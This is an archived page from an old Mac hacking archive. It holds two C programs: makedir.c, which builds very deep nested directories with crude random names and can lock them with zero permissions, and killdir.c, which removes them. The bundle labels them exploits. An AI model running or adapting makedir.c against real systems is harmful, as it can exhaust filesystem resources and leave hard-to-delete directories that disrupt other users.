home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Freaks Macintosh Archive
/
Freaks Macintosh Archive.bin
/
Freaks Macintosh Archives
/
Hacking & Misc
/
bundle of exploits.sit
/
bundle of exploits
/
makedir.txt
< prev
next >
Wrap
Text File
|
1998-07-17
|
3KB
|
101 lines
------SNIP(makedir.c)--------START
/* makedir.c v1.0 A fun toy by Nathan D. Faber (Drago) *
* Drago@Drago.com || root@very.cheap.org *
* Written to show a problem with long deep/long directorys. *
* !WARNING!: Don't use random unless you know what your doing *
* and can figure out how to get rid of the directorys. (play *
* around with debugfs) *
* ------------------------------------------------------------ *
* This is a shitload of crappy code, Enjoy! */
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
#include <time.h>
#define DEFAULT_PERM 448
/*#define CHANGE_PERM*/
#define RANDOM_NAMES
/* Need to be uid/grp 0 for this to work (??)*/
#define UID_GRP_CHANGE 0
#define GRP_NUMB 911
#define USR_NUMB 911
/*Sloppy code begins here*/
main(int argc, char *argv[]){
char * dnames[20] = {"bust muh nuts.","leet","feer cheese wiz","spank dat whore",
"weeny","blah", "chewme","Ping Pong Bong","ha!",
"I am yer god so yew must feer!", "Please note that I am your owner!",
"~!@#$%^&*()_+","Fucking A!?!?!?!", "Doobie doobie doo, and uhh, beware of the penguins.",
"The penguin is your friend!", "Buckle up, its the law","Dead on arrival",
"Eat shit and die fuxer!","............................",
"You can pick your friends, you can pick your nose, but you cant pick your friends nose."};
int i;
char named[100];
srand(time(NULL)); /*Seed rand, could of used time.h to seed this, but why bother, this works ok*/
if ((argc!=3)&&(argc!=4)){printf("Usage: %s <Dir to make> <Times> [Rand]\n",argv[0]);exit(0);}
for (i=0;i!=atoi(argv[2]);i++){
/*Rand handling*/
if(!i){mkdir(argv[1],DEFAULT_PERM);chdir(argv[1]);continue;}
if(argc>3){
#ifdef RANDOM_NAMES
sprintf(named,"%s",dnames[rand()%20]);}
#else
sprintf(named,"%i",rand());} /*I *REALLY* do suck at handling integers :)*/
#endif
/*Standard handling*/
else{
sprintf(named,"%s",argv[1]);}
mkdir(named,DEFAULT_PERM);
chdir(named);}
/*Set permissions if we are not using rand. Do we really need to set
these? gives you more hell if your the user deleting them and uid/gid!=0*/
#ifdef CHANGE_PERM
for (i=0;i<atoi(argv[2]);i++){
if(!i){if(argc>3){printf("Skiping persmission flush due to rand.\n");break;}
else{printf("Setting permissions on %i directorys (0000).\n",atoi(argv[2]));}}
chdir("..");
if (UID_GRP_CHANGE)
{chown(argv[1],USR_NUMB,GRP_NUMB);}
chmod(argv[1],00000);
}
#endif
printf("Done. %d directorys created recursivly (%s).\n",atoi(argv[2]),argv[1]);
}
/*EOF*/
------SNIP(makedir.c)--------END
------SNIP(killdir.c)--------START
/* killdir.c By Nathan D. Faber (Drago) *
* Drago@Drago.com || root@very.cheap.org *
* Used to terminate deep directorys that contain the same name.*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
main(int argc, char * argv[]) {
int i,x;
char * name=argv[1];
if (argc!=2){printf("Usage: %s <Name of recursive dir>\n",argv[0]);exit(0);}
for (i=0;i!=-1;i++){
if (chdir(name)!=0){
chdir("..");
x=rmdir(name);
printf("R %i : %s\n",i,(x==0)?"Ok":"Bad");
if (x!=0){printf("Deleted %i dirs named %s.\n",(i/2),argv[1]);break;}
}
}
}
/*EOF*/
------SNIP(killdir.c)--------START